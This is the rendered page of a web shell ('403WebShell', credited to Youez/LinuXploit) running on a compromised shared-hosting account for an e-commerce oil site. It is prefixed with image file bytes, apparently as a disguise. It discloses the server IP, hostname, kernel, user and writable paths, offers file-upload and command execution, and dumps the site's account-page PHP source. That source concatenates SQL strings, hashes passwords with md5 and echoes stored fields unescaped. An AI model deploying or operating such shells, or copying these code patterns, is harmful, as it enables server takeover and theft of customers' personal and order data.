RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð .......................................===Shadow-Here===........................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------ //////////////////////////////////////////////////////////////////////////////////////////////// GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘Ž¯pß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Šè•m"сœn|@›U¶ÆΞ—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X Ó؁)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oŠ°^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 148.135.140.132  /  Your IP : 18.218.189.170
Web Server : LiteSpeed
System : Linux in-mum-web1116.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u496275626 ( 496275626)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u496275626/domains/dharmacoldpressedoil.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u496275626/domains/dharmacoldpressedoil.com/public_html/my_account.php
<?php include_once("header.php");
// echo "<br>".$_SESSION["user"];
// echo "<br>".$_SESSION["name"];
// echo "<br>".$_SESSION["email"];
// echo "<br>".$_SESSION["picture"];
// echo "<br>".$_SESSION["uid"];
//     die();
   if(strlen($_SESSION['uid'])=='')
   {
     url('login.php');
   }
   else 
   {
   
      $checksessionid=$_SESSION['uid'];
      if(isset($checksession) and !empty($checksession))
                   {
                    $where_con="`id`="."'$checksession'";
                    $query=$sel_obj->display_rcd('tblusers',$where_con);
                    if(is_array($query) || !empty($query))
                   {
                      foreach ($query as $data )
                   {
                                      
                   }
               }
             }
   
   
             if($_SERVER['REQUEST_METHOD']=='POST' && isset($_POST['submit']))
   {
   
               $insertdata = array(
   
              'FullName'           => $sel_obj->validation($_POST['f_name']),
              'last_name'          => $sel_obj->validation($_POST['l_name']),
              'phonenumber'        => $sel_obj->validation($_POST['phone']),
              'gst_no'        => $sel_obj->validation($_POST['gst_no']),
              'state'              => $sel_obj->validation($_POST['state']),
              'town'               => $sel_obj->validation($_POST['town']),
              'pincode'            => $sel_obj->validation($_POST['pincode']),
              'str_address1'       => $sel_obj->validation($_POST['str_add1']),
              'str_address2'       => $sel_obj->validation($_POST['str_add2']),
                );
   
   
   $where_condition=array(
        'id'=> $checksession     
    
         );
        $update_query=$sel_obj->update("tblusers",$insertdata,$where_condition);
        if($update_query=='TRUE')
        {
         ?>
<script type='text/javascript'>alert ('Update sucessfully')
   var timer = setTimeout(function() 
     {
      window.location='my_account.php'
     });
</script>
<?php
   }
   else
   {
    echo "error".mysqli_error($this->con);
   }
   }
   
   ?>
   <!-- ===================== Change Password =================== -->
   <?php
    if($_SERVER['REQUEST_METHOD']=='POST' && isset($_POST['changepassword']))
        {
            $old_password=md5($sel_obj->validation($_POST['old_password']));
            $new_password=md5($sel_obj->validation($_POST['new_password']));
            $confirm_new_password=md5($sel_obj->validation($_POST['confirm_new_password']));
            if ($data['Password']!=$old_password) {
              $msg = "<p class='alert alert-danger'>Invalid Old Password</p>";
            }elseif ($new_password!=$confirm_new_password) {
              $msg = "<p class='alert alert-danger'>Password not match</p>";
            }else{
              $update_data = array('Password' => $new_password);
              $where_cond=array('id'=> $checksession);
              $update_query=$sel_obj->update("tblusers",$update_data,$where_cond);
              if ($update_query) {
                $msg = "<p class='alert alert-success'>Password has been changed successfully!</p>";
              }
            }
        }
    /*----- Back Url ----*/
    if ($_SERVER['HTTP_REFERER']) {
       $back_url = $_SERVER['HTTP_REFERER'];
     }  else{
       $back_url = "#";
     } 
     
    ?>
    <!-- =================================================== -->
<style type="text/css">
   .nice-select
   {
   width: 100% !important;
   }
   /*------ Tracking Modal -----*/
   .modal-content{
   background-color: #f3f3f3;
   border-color: #42469d;
   border-radius: 1rem;
   }
   @media (min-width: 576px){
   .modal-dialog {
   max-width: 750px;
   margin: 1.75rem auto;
   }
   }
   .modal-header{
   border-bottom: none;
   text-align: center;
   }
   .modal-header .close {
   padding: 1rem 1rem;
   margin: -1rem -1rem -1rem 0;
   color: #fff;
   }
   :-moz-any-link:focus {
   outline: none;
   }
   .modal-title{
   line-height: 3rem;
   }
   .modal-body{
   padding: 1rem;
   }
   #progressbar {
   margin-bottom: 3vh;
   overflow: hidden;
   color: #000;
   padding-left: 0px;
   margin-top: 3vh
   }
   #progressbar li {
   list-style-type: none;
   font-size: 0.8rem;
   width: 25%;
   float: left;
   position: relative;
   font-weight: 400;
   color: #000;
   }
   #progressbar #step1:before {
   content: "";
   color: blue;
   width: 20px;
   height: 20px;
   margin-left: 0px !important;
   }
   #progressbar #step2:before {
   content: "";
   color: blue;
   width: 20px;
   height: 20px;
   margin-left: 32%;
   }
   #progressbar #step3:before {
   content: "";
   color: blue;
   width: 20px;
   height: 20px;
   margin-right: 32% ; 
   }
   #progressbar #step33:before {
   content: "";
   color: blue;
   width: 20px;
   height: 20px;
   margin-right: 32% ; 
   }
   #progressbar #step4:before {
   content: "";
   color: rgb(151, 149, 149, 0.651);
   width: 20px;
   height: 20px;
   margin-right: 0px !important;
   }
   #progressbar #step5:before {
      content: "";
      color: red;
      width: 20px;
      height: 20px;
      margin-right: 0px !important;
      background: red;
    }
    #progressbar #step5:after {
        content: '';
        height: 3px;
        background: red;
        position: absolute;
        left: 0%;
        right: 0%;
        margin-bottom: 2vh;
        top: 8px;
        z-index: 1;
    }
   #progressbar li:before {
   line-height: 29px;
   display: block;
   font-size: 12px;
   background: rgb(151, 149, 149);
   border-radius: 50%;
   margin: auto;
   z-index: -1;
   margin-bottom: 1vh;
   }
   #progressbar li:after {
   content: '';
   height: 3px;
   background: rgb(151, 149, 149, 0.651);
   position: absolute;
   left: 0%;
   right: 0%;
   margin-bottom: 2vh;
   top: 8px;
   z-index: 1;
   }
   #progressbar li:nth-child(2):after {
   margin-right: auto;
   }
   #progressbar li:nth-child(1):after {
   margin: auto;
   }
   #progressbar li:nth-child(3):after {
   float: left;
   width: 68%;
   }
   #progressbar li:nth-child(4):after {
   margin-left: auto;
   width: 132%;
   }
   #progressbar li.active:before,
   #progressbar li.active:after {
   background: blue;
   }
</style>
<!-- Header End -->
<!-- Breadcrumb Area start -->
<section class="breadcrumb-area">
   <div class="container">
      <div class="row">
         <div class="col-md-12">
            <div class="breadcrumb-content">
               <h1 class="breadcrumb-hrading">Account Page</h1>
               <ul class="breadcrumb-links">
                  <li><a href="index.php">Home</a></li>
                  <li><a href="<?php echo $back_url; ?>">Back</a></li>
                  <li>My Account</li>
               </ul>
            </div>
         </div>
      </div>
   </div>
</section>
<!-- Breadcrumb Area End -->
<!-- account area start -->
<div class="checkout-area mtb-60px">
   <div class="container">
      <div class="row">
         <div class="ml-auto mr-auto col-lg-9">
            <div class="checkout-wrapper">
               <div id="faq" class="panel-group">
                  <form action="#"  method="POST">
                     <div class="panel panel-default single-my-account">
                        <div class="panel-heading my-account-title">
                           <h3 class="panel-title"><span>1 .</span> <a data-toggle="collapse" data-parent="#faq" href="#my-account-1" aria-expanded="false">Edit your account information </a></h3>
                        </div>
                        <div id="my-account-1" class="panel-collapse collapse">
                           <div class="panel-body">
                              <div class="myaccount-info-wrapper">
                                 <div class="account-info-wrapper">
                                    <h4>My Account Information</h4>
                                    <h5>Your Personal Details</h5>
                                 </div>
                                 <div class="row">
                                    <div class="col-lg-4 col-md-4">
                                       <div class="billing-info">
                                          <label>First Name</label>
                                          <input type="text" name="f_name" value="<?php echo $data['FullName'];?>" required/>
                                       </div>
                                    </div>
                                    <div class="col-lg-4 col-md-4">
                                       <div class="billing-info">
                                          <label>Last Name</label>
                                          <input type="text" name="l_name" value="<?php echo $data['last_name'];?>" />
                                       </div>
                                    </div>
                                    <div class="col-lg-4 col-md-4">
                                       <div class="billing-info">
                                          <label>Email Address</label>
                                          <input type="email" name="email" value="<?php echo $data['UserEmail'];?>" required readonly/>
                                       </div>
                                    </div>
                                    <div class="col-lg-6 col-md-6">
                                       <div class="billing-info">
                                          <label>Phone</label>
                                          <input type="tel" name="phone" onkeyup="if (/\D/g.test(this.value)) this.value = this.value.replace(/\D/g,'')" value="<?php echo $data['phonenumber'];?>" required/>
                                       </div>
                                    </div>
                                    <div class="col-lg-6 col-md-6">
                                       <div class="billing-info">
                                          <label>GST No</label>
                                          <input type="text" name="gst_no" value="<?php echo $data['gst_no'];?>"  />
                                       </div>
                                    </div>
                                    <div class="col-lg-6 col-md-6">
                                       <div class="billing-info">
                                          <label>Street Address 1</label>
                                          <input type="text" name="str_add1" value="<?php echo $data['str_address1'];?>" required />
                                       </div>
                                    </div>
                                    <div class="col-lg-6 col-md-6">
                                       <div class="billing-info">
                                          <label>Street Address 2</label>
                                          <input type="text" name="str_add2" value="<?php echo $data['str_address2'];?>" />
                                       </div>
                                    </div>
                                    <div class="col-lg-4 col-md-6">
                                       <div class="billing-info">
                                          <label>Town / City</label>
                                          <input type="text" name="town" value="<?php echo $data['town'];?>" required/>
                                       </div>
                                    </div>
                                    <div class="col-lg-4 col-md-6">
                                       <div class="billing-info mb-20px">
                                          <label>State <span style="color:red;">*</span></label>
                                          <select class="form-control" name="state" style="width:100% !important;" required>
                                             <option value="1">Choose</option>
                                             <?php
                                                $stmt=$sel_obj->select('states');
                                                foreach($stmt as $state)
                                                 {
                                                ?>
                                             <option <?php  if($data['state']==$state['name']){?> Selected <?php }?> value="<?php echo $state['name'];?>"><?php echo $state['name'];?></option>
                                             <?php 
                                                }
                                                ?>               
                                          </select>
                                       </div>
                                    </div>
                                    <div class="col-lg-4 col-md-6">
                                       <div class="billing-info">
                                          <label>Postcode / Zip</label>
                                          <input type="number" name="pincode" value="<?php echo $data['pincode'];?>" required/>
                                       </div>
                                    </div>
                                 </div>
                                 <div class="billing-back-btn">
                                    <div class="billing-btn">
                                       <button type="submit" class="active bg-success" name="submit">Update</button>
                                    </div>
                                 </div>
                              </div>
                           </div>
                        </div>
                     </div> 
                  </form> <br>
                  <?php if(isset($msg)){ echo $msg; } ?>
                  <div class="panel panel-default single-my-account">
                     <div class="panel-heading my-account-title">
                        <h3 class="panel-title"><span>2 .</span> <a data-toggle="collapse" data-parent="#faq" href="#my-account-2">Change your password </a></h3>
                     </div>
                     <div id="my-account-2" class="panel-collapse collapse">
                        <div class="panel-body">
                           <form action="<?php echo strip_tags($_SERVER['PHP_SELF']);?>" method="POST">
                              <div class="myaccount-info-wrapper">
                                 <div class="account-info-wrapper">
                                    <h5>Change Your Password</h5>
                                 </div>
                                 <div class="row">
                                    <div class="col-lg-12 col-md-12">
                                       <div class="billing-info">
                                          <label>Current Password</label>
                                          <input type="password" name="old_password" required/>
                                       </div>
                                    </div>
                                    <div class="col-lg-12 col-md-12">
                                       <div class="billing-info">
                                          <label>New Password</label>
                                          <input type="password" name="new_password" required/>
                                       </div>
                                    </div>
                                    <div class="col-lg-12 col-md-12">
                                       <div class="billing-info">
                                          <label>Confirm New Password</label>
                                          <input type="password" name="confirm_new_password" required/>
                                       </div>
                                    </div>
                                 </div>
                                 <div class="billing-back-btn">
                                    <div class="billing-btn">
                                       <button type="submit" class="bg-success" name="changepassword">Submit</button>
                                    </div>
                                 </div>
                              </div>
                           </form>
                        </div>
                     </div>
                  </div>
                  <div class="panel panel-default single-my-account">
                     <div class="panel-heading my-account-title">
                        <h3 class="panel-title"><span>3 .</span> <a data-toggle="collapse" data-parent="#faq" href="#my-account-3">Order History </a></h3>
                     </div>
                     <div id="my-account-3" class="panel-collapse collapse">
                        <div class="panel-body">
                           <div class="myaccount-info-wrapper">
                              <div class="account-info-wrapper">
                                 <h4>My Orders</h4>
                              </div>
                              <div class="entries-wrapper333">
                                 <div class="table-responsive">
                                    <?php
                                       if(isset($checksession) and !empty($checksession))
                                           {
                                            $where_con="`user_id`="."'$checksession' AND `payment_status`='1'";
                                            $query=$sel_obj->display_rcd_desc('orders',$where_con);
                                           $temp_query=$sel_obj->all_count_row('orders',$where_con);
                                            if($temp_query>0)
                                            {
                                                   ?>
                                    <table class="table">
                                       <thead>
                                          <tr>
                                             <th>S.No</th>
                                             <th>Order ID</th>
                                             <!-- <th>Txn ID</th> -->
                                             <th>Amount</th>
                                             <th>Tracking Order</th>
                                             <th>Order Date</th>
                                             <th>Shipping Date</th>
                                             <th>Delivery Date</th>
                                             <th>Status</th>
                                             <th>Action</th>
                                          </tr>
                                       </thead>
                                       <tbody>
                                          <?php
                                             $a=0;
                                             if(is_array($query) || !empty($query))
                                             {
                                             foreach ($query as $data )
                                             {
                                               $temp_cart_condition="`order_id`= ".$data['id'];
                                               
                                             
                                              ?>
                                          <tr>
                                             <td><?php echo $a+1;?> </td>
                                             <td><?php echo $data['order_id'];?></td>
                                             <!-- <td><?php echo $data['transction_id'];?></td> -->
                                             <td>₹<?php echo $data['t_price'];?></td>
                                             <td>
                                                <button type="button" class="btn btn-primary btn-xs" data-toggle="modal" data-target="#trackID<?php echo $a; ?>">
                                                Track Order
                                                </button>
                                                <!-- ------------- Order Tracking Modal ------------- -->
                                                <div class="container d-flex justify-content-center mt-100">
                                                   <div class="modal fade" id="trackID<?php echo $a; ?>">
                                                      <div class="modal-dialog modal-dialog-centered modal-lg">
                                                         <div class="modal-content">
                                                            <div class="modal-header">
                                                               <h4 class="modal-title mx-auto">Order ID : <?php echo $data['order_id'];?></h4>
                                                               <button type="button" class="close text-dark" data-dismiss="modal">&times;</button>
                                                            </div>
                                                            <div class="modal-body pt-1 pb-5">
                                                               <div class="p-3">
                                                                  <ul id="progressbar">
                                                                     <?php if($data['order_status']=="Pending"){ ?>
                                                                     <li class="step0 active " id="step1">Pending</li>
                                                                     <li class="step0 text-center" id="step2">Processed</li>
                                                                     <li class="step0  text-right" id="step3">Shipped</li>
                                                                     <li class="step0 text-right" id="step4">Delivered</li>
                                                                     <?php } ?>
                                                                     <?php if($data['order_status']=="Processed"){ ?>
                                                                     <li class="step0 active " id="step1">Pending</li>
                                                                     <li class="step0 active text-center" id="step2">Processed</li>
                                                                     <li class="step0  text-right" id="step3">Shipped</li>
                                                                     <li class="step0 text-right" id="step4">Delivered</li>
                                                                     <?php } ?>
                                                                     <?php if($data['order_status']=="Shipped"){ ?>
                                                                     <li class="step0 active " id="step1">Pending</li>
                                                                     <li class="step0 active text-center" id="step2">Processed</li>
                                                                     <li class="step0 active text-right" id="step3">Shipped</li>
                                                                     <li class="step0 text-right" id="step4">Delivered</li>
                                                                     <?php } ?>
                                                                     <?php if($data['order_status']=="Out For Delivery"){ ?>
                                                                     <li class="step0 active " id="step1">Pending</li>
                                                                     <li class="step0 active text-center" id="step2">Processed</li>
                                                                     <li class="step0 active text-right" id="step3">Shipped</li>
                                                                     <li class="step0 active text-right" id="step33"><small>Out For Delivery</small></li>
                                                                     <li class="step0 text-right" id="step4">Delivered</li>
                                                                     <?php } ?>
                                                                     <?php if($data['order_status']=="Delivered"){ ?>
                                                                     <li class="step0 active " id="step1">Pending</li>
                                                                     <li class="step0 active text-center" id="step2">Processed</li>
                                                                     <li class="step0 active text-right" id="step3">Shipped</li>
                                                                     <li class="step0 active text-right" id="step4">Delivered</li>
                                                                     <?php } ?>
                                                                     <?php if($data['order_status']=="Canceled"){ ?>
                                                                     <li class="step0 active " id="step1">Pending</li>
                                                                     <li class="step0 canceled active text-right text-danger" id="step5">Canceled</li>
                                                                     <?php } ?>
                                                                     <?php if($data['order_status']=="Refunded"){ ?>
                                                                     <li style="width: 20%;" class="step0 active " id="step1">Pending</li>
                                                                     <li style="width: 20%;" class="step0 active text-center" id="step2">Processed</li>
                                                                     <li style="width: 20%;" class="step0 active text-right" id="step3">Shipped</li>
                                                                     <li style="width: 20%;" class="step0 active text-right" id="step4">Delivered</li>
                                                                     <li style="width: 20%;" class="step0 canceled active text-right text-danger" id="step5">Refunded</li>
                                                                     <?php } ?>
                                                                  </ul>
                                                               </div>
                                                            </div>
                                                         </div>
                                                      </div>
                                                   </div>
                                                </div>
                                                <!-- ---------------------------------------- -->
                                             </td>
                                             <td><?php echo $data['order_date'];?></td>
                                             <td><?php echo $data['shipped_date'];?></td>
                                             <td><?php echo $data['delivered_date'];?></td>
                                             <?php
                                                $badge_color = 'badge-info';
                                                if ($data['order_status']=="Pending") {
                                                  $badge_color = 'badge-warning';
                                                }if ($data['order_status']=="Shipped") {
                                                  $badge_color = 'badge-primary';
                                                }if ($data['order_status']=="Delivered") {
                                                  $badge_color = 'badge-success';
                                                }if ($data['order_status']=="Canceled") {
                                                  $badge_color = 'badge-danger';
                                                }if ($data['order_status']=="Refunded") {
                                                  $badge_color = 'badge-secondary';
                                                }
                                                ?>
                                             <td><span class="right badge <?php echo $badge_color; ?>"><?php echo $data['order_status'];?> </span></td>
                                             <td> <a href="order_details.php?edit=1&post_id=<?php echo $data["id"]; ?>" class="btn btn-info" data-toggle="tooltip" data-original-title="Edit"><i class="fa fa-eye"></i></a>
                                             </td>
                                          </tr>
                                          <?php
                                             $a++;
                                              }
                                             
                                              }
                                              else
                                              {
                                               
                                              }
                                             
                                             
                                             
                                                 ?>
                                       </tbody>
                                    </table>
                                    <?php
                                       }
                                       else
                                       {
                                       echo "No Order Found...";
                                       }
                                       }
                                        ?>
                                 </div>
                              </div>
                           </div>
                        </div>
                     </div>
                  </div>
               </div>
            </div>
         </div>
      </div>
   </div>
</div>
<!-- account area end -->
<!-- Footer Area start -->
<?php
   include_once("footer.php");
   
   }
   
   ?>

Youez - 2016 - github.com/yon3zu
LinuXploit